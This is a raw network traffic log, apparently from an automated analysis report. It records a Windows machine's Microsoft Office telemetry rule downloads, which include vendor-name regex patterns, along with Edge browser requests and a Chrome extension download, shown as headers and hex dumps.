2024-11-22 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134345Z-178bfbc474btvfdfhC1NYCa2en0000000350000000007cxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:44 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134345Z-174c587ffdf59vqchC1TEByk6800000001q0000000007wfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:44 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134345Z-178bfbc474bmqmgjhC1NYCy16c000000034000000000a9tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134345Z-178bfbc474bv7whqhC1NYC1fg40000000350000000000aqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134346Z-15b8b599d88l2dpthC1TEBmzr000000001b000000000h5nv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:47 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134348Z-178bfbc474b9xljthC1NYCtw9400000002z000000000a45g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:48 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134348Z-15b8b599d88hd9g7hC1TEBp75c00000001h0000000006059 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:48 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49811	94.245.104.56	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:48 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:48 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 22 Nov 2024 13:43:48 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:48 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134348Z-178bfbc474bgvl54hC1NYCsfuw000000031g000000009ebk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134348Z-178bfbc474b9fdhphC1NYCac0n00000002v000000000ket6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:48 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:48 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:49 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134348Z-174c587ffdfb485jhC1TEBmc1s000000018000000000heph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49824	172.217.19.225	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:50 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 75530 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-22 13:43:50 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
